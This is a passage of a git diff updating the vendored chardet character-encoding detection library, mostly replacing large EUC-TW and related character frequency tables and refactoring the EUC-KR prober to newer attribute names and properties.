-6164,6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179, -6180,6181,6182,6183,6184,6185,1696,6186,6187,6188,6189,6190,6191,6192,6193,6194, -6195,6196,6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210, -6211,6212,6213,6214,6215,6216,6217,6218,6219,1697,6220,6221,6222,6223,6224,6225, -6226,6227,6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241, -6242,6243,6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,1698,6254,6255,6256, -6257,6258,6259,6260,6261,6262,6263,1200,6264,6265,6266,6267,6268,6269,6270,6271, #1024 -6272,6273,6274,6275,6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,6286,6287, -6288,6289,6290,6291,6292,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,1699, -6303,6304,1700,6305,6306,6307,6308,6309,6310,6311,6312,6313,6314,6315,6316,6317, -6318,6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333, -6334,6335,6336,6337,6338,6339,1701,6340,6341,6342,6343,6344,1387,6345,6346,6347, -6348,6349,6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363, -6364,6365,6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379, -6380,6381,6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395, -6396,6397,6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,6411, -6412,6413,1702,6414,6415,6416,6417,6418,6419,6420,6421,6422,1703,6423,6424,6425, -6426,6427,6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,1704,6439,6440, -6441,6442,6443,6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,6455,6456, -6457,6458,6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472, -6473,6474,6475,6476,6477,6478,6479,6480,6481,6482,6483,6484,6485,6486,6487,6488, -6489,6490,6491,6492,6493,6494,6495,6496,6497,6498,6499,6500,6501,6502,6503,1266, -6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516,6517,6518,6519, -6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532,6533,6534,6535, -6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548,6549,6550,6551, -1705,1706,6552,6553,6554,6555,6556,6557,6558,6559,6560,6561,6562,6563,6564,6565, -6566,6567,6568,6569,6570,6571,6572,6573,6574,6575,6576,6577,6578,6579,6580,6581, -6582,6583,6584,6585,6586,6587,6588,6589,6590,6591,6592,6593,6594,6595,6596,6597, -6598,6599,6600,6601,6602,6603,6604,6605,6606,6607,6608,6609,6610,6611,6612,6613, -6614,6615,6616,6617,6618,6619,6620,6621,6622,6623,6624,6625,6626,6627,6628,6629, -6630,6631,6632,6633,6634,6635,6636,6637,1388,6638,6639,6640,6641,6642,6643,6644, -1707,6645,6646,6647,6648,6649,6650,6651,6652,6653,6654,6655,6656,6657,6658,6659, -6660,6661,6662,6663,1708,6664,6665,6666,6667,6668,6669,6670,6671,6672,6673,6674, -1201,6675,6676,6677,6678,6679,6680,6681,6682,6683,6684,6685,6686,6687,6688,6689, -6690,6691,6692,6693,6694,6695,6696,6697,6698,6699,6700,6701,6702,6703,6704,6705, -6706,6707,6708,6709,6710,6711,6712,6713,6714,6715,6716,6717,6718,6719,6720,6721, -6722,6723,6724,6725,1389,6726,6727,6728,6729,6730,6731,6732,6733,6734,6735,6736, -1390,1709,6737,6738,6739,6740,6741,6742,1710,6743,6744,6745,6746,1391,6747,6748, -6749,6750,6751,6752,6753,6754,6755,6756,6757,1392,6758,6759,6760,6761,6762,6763, -6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777,6778,6779, -6780,1202,6781,6782,6783,6784,6785,6786,6787,6788,6789,6790,6791,6792,6793,6794, -6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806,6807,6808,6809,1711, -6810,6811,6812,6813,6814,6815,6816,6817,6818,6819,6820,6821,6822,6823,6824,6825, -6826,6827,6828,6829,6830,6831,6832,6833,6834,6835,6836,1393,6837,6838,6839,6840, -6841,6842,6843,6844,6845,6846,6847,6848,6849,6850,6851,6852,6853,6854,6855,6856, -6857,6858,6859,6860,6861,6862,6863,6864,6865,6866,6867,6868,6869,6870,6871,6872, -6873,6874,6875,6876,6877,6878,6879,6880,6881,6882,6883,6884,6885,6886,6887,6888, -6889,6890,6891,6892,6893,6894,6895,6896,6897,6898,6899,6900,6901,6902,1712,6903, -6904,6905,6906,6907,6908,6909,6910,1713,6911,6912,6913,6914,6915,6916,6917,6918, -6919,6920,6921,6922,6923,6924,6925,6926,6927,6928,6929,6930,6931,6932,6933,6934, -6935,6936,6937,6938,6939,6940,6941,6942,6943,6944,6945,6946,6947,6948,6949,6950, -6951,6952,6953,6954,6955,6956,6957,6958,6959,6960,6961,6962,6963,6964,6965,6966, -6967,6968,6969,6970,6971,6972,6973,6974,1714,6975,6976,6977,6978,6979,6980,6981, -6982,6983,6984,6985,6986,6987,6988,1394,6989,6990,6991,6992,6993,6994,6995,6996, -6997,6998,6999,7000,1715,7001,7002,7003,7004,7005,7006,7007,7008,7009,7010,7011, -7012,7013,7014,7015,7016,7017,7018,7019,7020,7021,7022,7023,7024,7025,7026,7027, -7028,1716,7029,7030,7031,7032,7033,7034,7035,7036,7037,7038,7039,7040,7041,7042, -7043,7044,7045,7046,7047,7048,7049,7050,7051,7052,7053,7054,7055,7056,7057,7058, -7059,7060,7061,7062,7063,7064,7065,7066,7067,7068,7069,7070,7071,7072,7073,7074, -7075,7076,7077,7078,7079,7080,7081,7082,7083,7084,7085,7086,7087,7088,7089,7090, -7091,7092,7093,7094,7095,7096,7097,7098,7099,7100,7101,7102,7103,7104,7105,7106, -7107,7108,7109,7110,7111,7112,7113,7114,7115,7116,7117,7118,7119,7120,7121,7122, -7123,7124,7125,7126,7127,7128,7129,7130,7131,7132,7133,7134,7135,7136,7137,7138, -7139,7140,7141,7142,7143,7144,7145,7146,7147,7148,7149,7150,7151,7152,7153,7154, -7155,7156,7157,7158,7159,7160,7161,7162,7163,7164,7165,7166,7167,7168,7169,7170, -7171,7172,7173,7174,7175,7176,7177,7178,7179,7180,7181,7182,7183,7184,7185,7186, -7187,7188,7189,7190,7191,7192,7193,7194,7195,7196,7197,7198,7199,7200,7201,7202, -7203,7204,7205,7206,7207,1395,7208,7209,7210,7211,7212,7213,1717,7214,7215,7216, -7217,7218,7219,7220,7221,7222,7223,7224,7225,7226,7227,7228,7229,7230,7231,7232, -7233,7234,7235,7236,7237,7238,7239,7240,7241,7242,7243,7244,7245,7246,7247,7248, -7249,7250,7251,7252,7253,7254,7255,7256,7257,7258,7259,7260,7261,7262,7263,7264, -7265,7266,7267,7268,7269,7270,7271,7272,7273,7274,7275,7276,7277,7278,7279,7280, -7281,7282,7283,7284,7285,7286,7287,7288,7289,7290,7291,7292,7293,7294,7295,7296, -7297,7298,7299,7300,7301,7302,7303,7304,7305,7306,7307,7308,7309,7310,7311,7312, -7313,1718,7314,7315,7316,7317,7318,7319,7320,7321,7322,7323,7324,7325,7326,7327, -7328,7329,7330,7331,7332,7333,7334,7335,7336,7337,7338,7339,7340,7341,7342,7343, -7344,7345,7346,7347,7348,7349,7350,7351,7352,7353,7354,7355,7356,7357,7358,7359, -7360,7361,7362,7363,7364,7365,7366,7367,7368,7369,7370,7371,7372,7373,7374,7375, -7376,7377,7378,7379,7380,7381,7382,7383,7384,7385,7386,7387,7388,7389,7390,7391, -7392,7393,7394,7395,7396,7397,7398,7399,7400,7401,7402,7403,7404,7405,7406,7407, -7408,7409,7410,7411,7412,7413,7414,7415,7416,7417,7418,7419,7420,7421,7422,7423, -7424,7425,7426,7427,7428,7429,7430,7431,7432,7433,7434,7435,7436,7437,7438,7439, -7440,7441,7442,7443,7444,7445,7446,7447,7448,7449,7450,7451,7452,7453,7454,7455, -7456,7457,7458,7459,7460,7461,7462,7463,7464,7465,7466,7467,7468,7469,7470,7471, -7472,7473,7474,7475,7476,7477,7478,7479,7480,7481,7482,7483,7484,7485,7486,7487, -7488,7489,7490,7491,7492,7493,7494,7495,7496,7497,7498,7499,7500,7501,7502,7503, -7504,7505,7506,7507,7508,7509,7510,7511,7512,7513,7514,7515,7516,7517,7518,7519, -7520,7521,7522,7523,7524,7525,7526,7527,7528,7529,7530,7531,7532,7533,7534,7535, -7536,7537,7538,7539,7540,7541,7542,7543,7544,7545,7546,7547,7548,7549,7550,7551, -7552,7553,7554,7555,7556,7557,7558,7559,7560,7561,7562,7563,7564,7565,7566,7567, -7568,7569,7570,7571,7572,7573,7574,7575,7576,7577,7578,7579,7580,7581,7582,7583, -7584,7585,7586,7587,7588,7589,7590,7591,7592,7593,7594,7595,7596,7597,7598,7599, -7600,7601,7602,7603,7604,7605,7606,7607,7608,7609,7610,7611,7612,7613,7614,7615, -7616,7617,7618,7619,7620,7621,7622,7623,7624,7625,7626,7627,7628,7629,7630,7631, -7632,7633,7634,7635,7636,7637,7638,7639,7640,7641,7642,7643,7644,7645,7646,7647, -7648,7649,7650,7651,7652,7653,7654,7655,7656,7657,7658,7659,7660,7661,7662,7663, -7664,7665,7666,7667,7668,7669,7670,7671,7672,7673,7674,7675,7676,7677,7678,7679, -7680,7681,7682,7683,7684,7685,7686,7687,7688,7689,7690,7691,7692,7693,7694,7695, -7696,7697,7698,7699,7700,7701,7702,7703,7704,7705,7706,7707,7708,7709,7710,7711, -7712,7713,7714,7715,7716,7717,7718,7719,7720,7721,7722,7723,7724,7725,7726,7727, -7728,7729,7730,7731,7732,7733,7734,7735,7736,7737,7738,7739,7740,7741,7742,7743, -7744,7745,7746,7747,7748,7749,7750,7751,7752,7753,7754,7755,7756,7757,7758,7759, -7760,7761,7762,7763,7764,7765,7766,7767,7768,7769,7770,7771,7772,7773,7774,7775, -7776,7777,7778,7779,7780,7781,7782,7783,7784,7785,7786,7787,7788,7789,7790,7791, -7792,7793,7794,7795,7796,7797,7798,7799,7800,7801,7802,7803,7804,7805,7806,7807, -7808,7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823, -7824,7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839, -7840,7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855, -7856,7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871, -7872,7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887, -7888,7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903, -7904,7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919, -7920,7921,7922,7923,7924,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, -7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, -7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, -7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, -7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, -8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, -8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, -8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, -8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, -8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, -8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, -8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, -8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, -8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, -8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, -8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, -8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, -8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, -8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, -8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, -8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, -8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271, -8272,8273,8274,8275,8276,8277,8278,8279,8280,8281,8282,8283,8284,8285,8286,8287, -8288,8289,8290,8291,8292,8293,8294,8295,8296,8297,8298,8299,8300,8301,8302,8303, -8304,8305,8306,8307,8308,8309,8310,8311,8312,8313,8314,8315,8316,8317,8318,8319, -8320,8321,8322,8323,8324,8325,8326,8327,8328,8329,8330,8331,8332,8333,8334,8335, -8336,8337,8338,8339,8340,8341,8342,8343,8344,8345,8346,8347,8348,8349,8350,8351, -8352,8353,8354,8355,8356,8357,8358,8359,8360,8361,8362,8363,8364,8365,8366,8367, -8368,8369,8370,8371,8372,8373,8374,8375,8376,8377,8378,8379,8380,8381,8382,8383, -8384,8385,8386,8387,8388,8389,8390,8391,8392,8393,8394,8395,8396,8397,8398,8399, -8400,8401,8402,8403,8404,8405,8406,8407,8408,8409,8410,8411,8412,8413,8414,8415, -8416,8417,8418,8419,8420,8421,8422,8423,8424,8425,8426,8427,8428,8429,8430,8431, -8432,8433,8434,8435,8436,8437,8438,8439,8440,8441,8442,8443,8444,8445,8446,8447, -8448,8449,8450,8451,8452,8453,8454,8455,8456,8457,8458,8459,8460,8461,8462,8463, -8464,8465,8466,8467,8468,8469,8470,8471,8472,8473,8474,8475,8476,8477,8478,8479, -8480,8481,8482,8483,8484,8485,8486,8487,8488,8489,8490,8491,8492,8493,8494,8495, -8496,8497,8498,8499,8500,8501,8502,8503,8504,8505,8506,8507,8508,8509,8510,8511, -8512,8513,8514,8515,8516,8517,8518,8519,8520,8521,8522,8523,8524,8525,8526,8527, -8528,8529,8530,8531,8532,8533,8534,8535,8536,8537,8538,8539,8540,8541,8542,8543, -8544,8545,8546,8547,8548,8549,8550,8551,8552,8553,8554,8555,8556,8557,8558,8559, -8560,8561,8562,8563,8564,8565,8566,8567,8568,8569,8570,8571,8572,8573,8574,8575, -8576,8577,8578,8579,8580,8581,8582,8583,8584,8585,8586,8587,8588,8589,8590,8591, -8592,8593,8594,8595,8596,8597,8598,8599,8600,8601,8602,8603,8604,8605,8606,8607, -8608,8609,8610,8611,8612,8613,8614,8615,8616,8617,8618,8619,8620,8621,8622,8623, -8624,8625,8626,8627,8628,8629,8630,8631,8632,8633,8634,8635,8636,8637,8638,8639, -8640,8641,8642,8643,8644,8645,8646,8647,8648,8649,8650,8651,8652,8653,8654,8655, -8656,8657,8658,8659,8660,8661,8662,8663,8664,8665,8666,8667,8668,8669,8670,8671, -8672,8673,8674,8675,8676,8677,8678,8679,8680,8681,8682,8683,8684,8685,8686,8687, -8688,8689,8690,8691,8692,8693,8694,8695,8696,8697,8698,8699,8700,8701,8702,8703, -8704,8705,8706,8707,8708,8709,8710,8711,8712,8713,8714,8715,8716,8717,8718,8719, -8720,8721,8722,8723,8724,8725,8726,8727,8728,8729,8730,8731,8732,8733,8734,8735, -8736,8737,8738,8739,8740,8741) +) -# flake8: noqa diff --git a/thirdparty/chardet/euckrprober.py b/thirdparty/chardet/euckrprober.py index 5982a46b606..345a060d023 100644 --- a/thirdparty/chardet/euckrprober.py +++ b/thirdparty/chardet/euckrprober.py @@ -28,15 +28,20 @@ from .mbcharsetprober import MultiByteCharSetProber from .codingstatemachine import CodingStateMachine from .chardistribution import EUCKRDistributionAnalysis -from .mbcssm import EUCKRSMModel +from .mbcssm import EUCKR_SM_MODEL class EUCKRProber(MultiByteCharSetProber): def __init__(self): - MultiByteCharSetProber.__init__(self) - self._mCodingSM = CodingStateMachine(EUCKRSMModel) - self._mDistributionAnalyzer = EUCKRDistributionAnalysis() + super(EUCKRProber, self).__init__() + self.coding_sm = CodingStateMachine(EUCKR_SM_MODEL) + self.distribution_analyzer = EUCKRDistributionAnalysis() self.reset() - def get_charset_name(self): + @property + def charset_name(self): return "EUC-KR" + + @property + def language(self): + return "Korean" diff --git a/thirdparty/chardet/euctwfreq.py b/thirdparty/chardet/euctwfreq.py index 576e7504dca..ed7a995a3aa 100644 --- a/thirdparty/chardet/euctwfreq.py +++ b/thirdparty/chardet/euctwfreq.py @@ -44,385 +44,344 @@ EUCTW_TYPICAL_DISTRIBUTION_RATIO = 0.75 # Char to FreqOrder table , -EUCTW_TABLE_SIZE = 8102 +EUCTW_TABLE_SIZE = 5376 -EUCTWCharToFreqOrder = ( - 1,1800,1506, 255,1431, 198, 9, 82, 6,7310, 177, 202,3615,1256,2808, 110, # 2742 -3735, 33,3241, 261, 76, 44,2113, 16,2931,2184,1176, 659,3868, 26,3404,2643, # 2758 -1198,3869,3313,4060, 410,2211, 302, 590, 361,1963, 8, 204, 58,4296,7311,1931, # 2774 - 63,7312,7313, 317,1614, 75, 222, 159,4061,2412,1480,7314,3500,3068, 224,2809, # 2790 -3616, 3, 10,3870,1471, 29,2774,1135,2852,1939, 873, 130,3242,1123, 312,7315, # 2806 -4297,2051, 507, 252, 682,7316, 142,1914, 124, 206,2932, 34,3501,3173, 64, 604, # 2822 -7317,2494,1976,1977, 155,1990, 645, 641,1606,7318,3405, 337, 72, 406,7319, 80, # 2838 - 630, 238,3174,1509, 263, 939,1092,2644, 756,1440,1094,3406, 449, 69,2969, 591, # 2854 - 179,2095, 471, 115,2034,1843, 60, 50,2970, 134, 806,1868, 734,2035,3407, 180, # 2870 - 995,1607, 156, 537,2893, 688,7320, 319,1305, 779,2144, 514,2374, 298,4298, 359, # 2886 -2495, 90,2707,1338, 663, 11, 906,1099,2545, 20,2436, 182, 532,1716,7321, 732, # 2902 -1376,4062,1311,1420,3175, 25,2312,1056, 113, 399, 382,1949, 242,3408,2467, 529, # 2918 -3243, 475,1447,3617,7322, 117, 21, 656, 810,1297,2295,2329,3502,7323, 126,4063, # 2934 - 706, 456, 150, 613,4299, 71,1118,2036,4064, 145,3069, 85, 835, 486,2114,1246, # 2950 -1426, 428, 727,1285,1015, 800, 106, 623, 303,1281,7324,2127,2354, 347,3736, 221, # 2966 -3503,3110,7325,1955,1153,4065, 83, 296,1199,3070, 192, 624, 93,7326, 822,1897, # 2982 -2810,3111, 795,2064, 991,1554,1542,1592, 27, 43,2853, 859, 139,1456, 860,4300, # 2998 - 437, 712,3871, 164,2392,3112, 695, 211,3017,2096, 195,3872,1608,3504,3505,3618, # 3014 -3873, 234, 811,2971,2097,3874,2229,1441,3506,1615,2375, 668,2076,1638, 305, 228, # 3030 -1664,4301, 467, 415,7327, 262,2098,1593, 239, 108, 300, 200,1033, 512,1247,2077, # 3046 -7328,7329,2173,3176,3619,2673, 593, 845,1062,3244, 88,1723,2037,3875,1950, 212, # 3062 - 266, 152, 149, 468,1898,4066,4302, 77, 187,7330,3018, 37, 5,2972,7331,3876, # 3078 -7332,7333, 39,2517,4303,2894,3177,2078, 55, 148, 74,4304, 545, 483,1474,1029, # 3094 -1665, 217,1869,1531,3113,1104,2645,4067, 24, 172,3507, 900,3877,3508,3509,4305, # 3110 - 32,1408,2811,1312, 329, 487,2355,2247,2708, 784,2674, 4,3019,3314,1427,1788, # 3126 - 188, 109, 499,7334,3620,1717,1789, 888,1217,3020,4306,7335,3510,7336,3315,1520, # 3142 -3621,3878, 196,1034, 775,7337,7338, 929,1815, 249, 439, 38,7339,1063,7340, 794, # 3158 -3879,1435,2296, 46, 178,3245,2065,7341,2376,7342, 214,1709,4307, 804, 35, 707, # 3174 - 324,3622,1601,2546, 140, 459,4068,7343,7344,1365, 839, 272, 978,2257,2572,3409, # 3190 -2128,1363,3623,1423, 697, 100,3071, 48, 70,1231, 495,3114,2193,7345,1294,7346, # 3206 -2079, 462, 586,1042,3246, 853, 256, 988, 185,2377,3410,1698, 434,1084,7347,3411, # 3222 - 314,2615,2775,4308,2330,2331, 569,2280, 637,1816,2518, 757,1162,1878,1616,3412, # 3238 - 287,1577,2115, 768,4309,1671,2854,3511,2519,1321,3737, 909,2413,7348,4069, 933, # 3254 -3738,7349,2052,2356,1222,4310, 765,2414,1322, 786,4311,7350,1919,1462,1677,2895, # 3270 -1699,7351,4312,1424,2437,3115,3624,2590,3316,1774,1940,3413,3880,4070, 309,1369, # 3286 -1130,2812, 364,2230,1653,1299,3881,3512,3882,3883,2646, 525,1085,3021, 902,2000, # 3302 -1475, 964,4313, 421,1844,1415,1057,2281, 940,1364,3116, 376,4314,4315,1381, 7, # 3318 -2520, 983,2378, 336,1710,2675,1845, 321,3414, 559,1131,3022,2742,1808,1132,1313, # 3334 - 265,1481,1857,7352, 352,1203,2813,3247, 167,1089, 420,2814, 776, 792,1724,3513, # 3350 -4071,2438,3248,7353,4072,7354, 446, 229, 333,2743, 901,3739,1200,1557,4316,2647, # 3366 -1920, 395,2744,2676,3740,4073,1835, 125, 916,3178,2616,4317,7355,7356,3741,7357, # 3382 -7358,7359,4318,3117,3625,1133,2547,1757,3415,1510,2313,1409,3514,7360,2145, 438, # 3398 -2591,2896,2379,3317,1068, 958,3023, 461, 311,2855,2677,4074,1915,3179,4075,1978, # 3414 - 383, 750,2745,2617,4076, 274, 539, 385,1278,1442,7361,1154,1964, 384, 561, 210, # 3430 - 98,1295,2548,3515,7362,1711,2415,1482,3416,3884,2897,1257, 129,7363,3742, 642, # 3446 - 523,2776,2777,2648,7364, 141,2231,1333, 68, 176, 441, 876, 907,4077, 603,2592, # 3462 - 710, 171,3417, 404, 549, 18,3118,2393,1410,3626,1666,7365,3516,4319,2898,4320, # 3478 -7366,2973, 368,7367, 146, 366, 99, 871,3627,1543, 748, 807,1586,1185, 22,2258, # 3494 - 379,3743,3180,7368,3181, 505,1941,2618,1991,1382,2314,7369, 380,2357, 218, 702, # 3510 -1817,1248,3418,3024,3517,3318,3249,7370,2974,3628, 930,3250,3744,7371, 59,7372, # 3526 - 585, 601,4078, 497,3419,1112,1314,4321,1801,7373,1223,1472,2174,7374, 749,1836, # 3542 - 690,1899,3745,1772,3885,1476, 429,1043,1790,2232,2116, 917,4079, 447,1086,1629, # 3558 -7375, 556,7376,7377,2020,1654, 844,1090, 105, 550, 966,1758,2815,1008,1782, 686, # 3574 -1095,7378,2282, 793,1602,7379,3518,2593,4322,4080,2933,2297,4323,3746, 980,2496, # 3590 - 544, 353, 527,4324, 908,2678,2899,7380, 381,2619,1942,1348,7381,1341,1252, 560, # 3606 -3072,7382,3420,2856,7383,2053, 973, 886,2080, 143,4325,7384,7385, 157,3886, 496, # 3622 -4081, 57, 840, 540,2038,4326,4327,3421,2117,1445, 970,2259,1748,1965,2081,4082, # 3638 -3119,1234,1775,3251,2816,3629, 773,1206,2129,1066,2039,1326,3887,1738,1725,4083, # 3654 - 279,3120, 51,1544,2594, 423,1578,2130,2066, 173,4328,1879,7386,7387,1583, 264, # 3670 - 610,3630,4329,2439, 280, 154,7388,7389,7390,1739, 338,1282,3073, 693,2857,1411, # 3686 -1074,3747,2440,7391,4330,7392,7393,1240, 952,2394,7394,2900,1538,2679, 685,1483, # 3702 -4084,2468,1436, 953,4085,2054,4331, 671,2395, 79,4086,2441,3252, 608, 567,2680, # 3718 -3422,4087,4088,1691, 393,1261,1791,2396,7395,4332,7396,7397,7398,7399,1383,1672, # 3734 -3748,3182,1464, 522,1119, 661,1150, 216, 675,4333,3888,1432,3519, 609,4334,2681, # 3750 -2397,7400,7401,7402,4089,3025, 0,7403,2469, 315, 231,2442, 301,3319,4335,2380, # 3766 -7404, 233,4090,3631,1818,4336,4337,7405, 96,1776,1315,2082,7406, 257,7407,1809, # 3782 -3632,2709,1139,1819,4091,2021,1124,2163,2778,1777,2649,7408,3074, 363,1655,3183, # 3798 -7409,2975,7410,7411,7412,3889,1567,3890, 718, 103,3184, 849,1443, 341,3320,2934, # 3814 -1484,7413,1712, 127, 67, 339,4092,2398, 679,1412, 821,7414,7415, 834, 738, 351, # 3830 -2976,2146, 846, 235,1497,1880, 418,1992,3749,2710, 186,1100,2147,2746,3520,1545, # 3846 -1355,2935,2858,1377, 583,3891,4093,2573,2977,7416,1298,3633,1078,2549,3634,2358, # 3862 - 78,3750,3751, 267,1289,2099,2001,1594,4094, 348, 369,1274,2194,2175,1837,4338, # 3878 -1820,2817,3635,2747,2283,2002,4339,2936,2748, 144,3321, 882,4340,3892,2749,3423, # 3894 -4341,2901,7417,4095,1726, 320,7418,3893,3026, 788,2978,7419,2818,1773,1327,2859, # 3910 -3894,2819,7420,1306,4342,2003,1700,3752,3521,2359,2650, 787,2022, 506, 824,3636, # 3926 - 534, 323,4343,1044,3322,2023,1900, 946,3424,7421,1778,1500,1678,7422,1881,4344, # 3942 - 165, 243,4345,3637,2521, 123, 683,4096, 764,4346, 36,3895,1792, 589,2902, 816, # 3958 - 626,1667,3027,2233,1639,1555,1622,3753,3896,7423,3897,2860,1370,1228,1932, 891, # 3974 -2083,2903, 304,4097,7424, 292,2979,2711,3522, 691,2100,4098,1115,4347, 118, 662, # 3990 -7425, 611,1156, 854,2381,1316,2861, 2, 386, 515,2904,7426,7427,3253, 868,2234, # 4006 -1486, 855,2651, 785,2212,3028,7428,1040,3185,3523,7429,3121, 448,7430,1525,7431, # 4022 -2164,4348,7432,3754,7433,4099,2820,3524,3122, 503, 818,3898,3123,1568, 814, 676, # 4038 -1444, 306,1749,7434,3755,1416,1030, 197,1428, 805,2821,1501,4349,7435,7436,7437, # 4054 -1993,7438,4350,7439,7440,2195, 13,2779,3638,2980,3124,1229,1916,7441,3756,2131, # 4070 -7442,4100,4351,2399,3525,7443,2213,1511,1727,1120,7444,7445, 646,3757,2443, 307, # 4086 -7446,7447,1595,3186,7448,7449,7450,3639,1113,1356,3899,1465,2522,2523,7451, 519, # 4102 -7452, 128,2132, 92,2284,1979,7453,3900,1512, 342,3125,2196,7454,2780,2214,1980, # 4118 -3323,7455, 290,1656,1317, 789, 827,2360,7456,3758,4352, 562, 581,3901,7457, 401, # 4134 -4353,2248, 94,4354,1399,2781,7458,1463,2024,4355,3187,1943,7459, 828,1105,4101, # 4150 -1262,1394,7460,4102, 605,4356,7461,1783,2862,7462,2822, 819,2101, 578,2197,2937, # 4166 -7463,1502, 436,3254,4103,3255,2823,3902,2905,3425,3426,7464,2712,2315,7465,7466, # 4182 -2332,2067, 23,4357, 193, 826,3759,2102, 699,1630,4104,3075, 390,1793,1064,3526, # 4198 -7467,1579,3076,3077,1400,7468,4105,1838,1640,2863,7469,4358,4359, 137,4106, 598, # 4214 -3078,1966, 780, 104, 974,2938,7470, 278, 899, 253, 402, 572, 504, 493,1339,7471, # 4230 -3903,1275,4360,2574,2550,7472,3640,3029,3079,2249, 565,1334,2713, 863, 41,7473, # 4246 -7474,4361,7475,1657,2333, 19, 463,2750,4107, 606,7476,2981,3256,1087,2084,1323, # 4262 -2652,2982,7477,1631,1623,1750,4108,2682,7478,2864, 791,2714,2653,2334, 232,2416, # 4278 -7479,2983,1498,7480,2654,2620, 755,1366,3641,3257,3126,2025,1609, 119,1917,3427, # 4294 - 862,1026,4109,7481,3904,3760,4362,3905,4363,2260,1951,2470,7482,1125, 817,4110, # 4310 -4111,3906,1513,1766,2040,1487,4112,3030,3258,2824,3761,3127,7483,7484,1507,7485, # 4326 -2683, 733, 40,1632,1106,2865, 345,4113, 841,2524, 230,4364,2984,1846,3259,3428, # 4342 -7486,1263, 986,3429,7487, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562,3907, # 4358 -3908,2939, 967,2751,2655,1349, 592,2133,1692,3324,2985,1994,4114,1679,3909,1901, # 4374 -2185,7488, 739,3642,2715,1296,1290,7489,4115,2198,2199,1921,1563,2595,2551,1870, # 4390 -2752,2986,7490, 435,7491, 343,1108, 596, 17,1751,4365,2235,3430,3643,7492,4366, # 4406 - 294,3527,2940,1693, 477, 979, 281,2041,3528, 643,2042,3644,2621,2782,2261,1031, # 4422 -2335,2134,2298,3529,4367, 367,1249,2552,7493,3530,7494,4368,1283,3325,2004, 240, # 4438 -1762,3326,4369,4370, 836,1069,3128, 474,7495,2148,2525, 268,3531,7496,3188,1521, # 4454 -1284,7497,1658,1546,4116,7498,3532,3533,7499,4117,3327,2684,1685,4118, 961,1673, # 4470 -2622, 190,2005,2200,3762,4371,4372,7500, 570,2497,3645,1490,7501,4373,2623,3260, # 4486 -1956,4374, 584,1514, 396,1045,1944,7502,4375,1967,2444,7503,7504,4376,3910, 619, # 4502 -7505,3129,3261, 215,2006,2783,2553,3189,4377,3190,4378, 763,4119,3763,4379,7506, # 4518 -7507,1957,1767,2941,3328,3646,1174, 452,1477,4380,3329,3130,7508,2825,1253,2382, # 4534 -2186,1091,2285,4120, 492,7509, 638,1169,1824,2135,1752,3911, 648, 926,1021,1324, # 4550 -4381, 520,4382, 997, 847,1007, 892,4383,3764,2262,1871,3647,7510,2400,1784,4384, # 4566 -1952,2942,3080,3191,1728,4121,2043,3648,4385,2007,1701,3131,1551, 30,2263,4122, # 4582 -7511,2026,4386,3534,7512, 501,7513,4123, 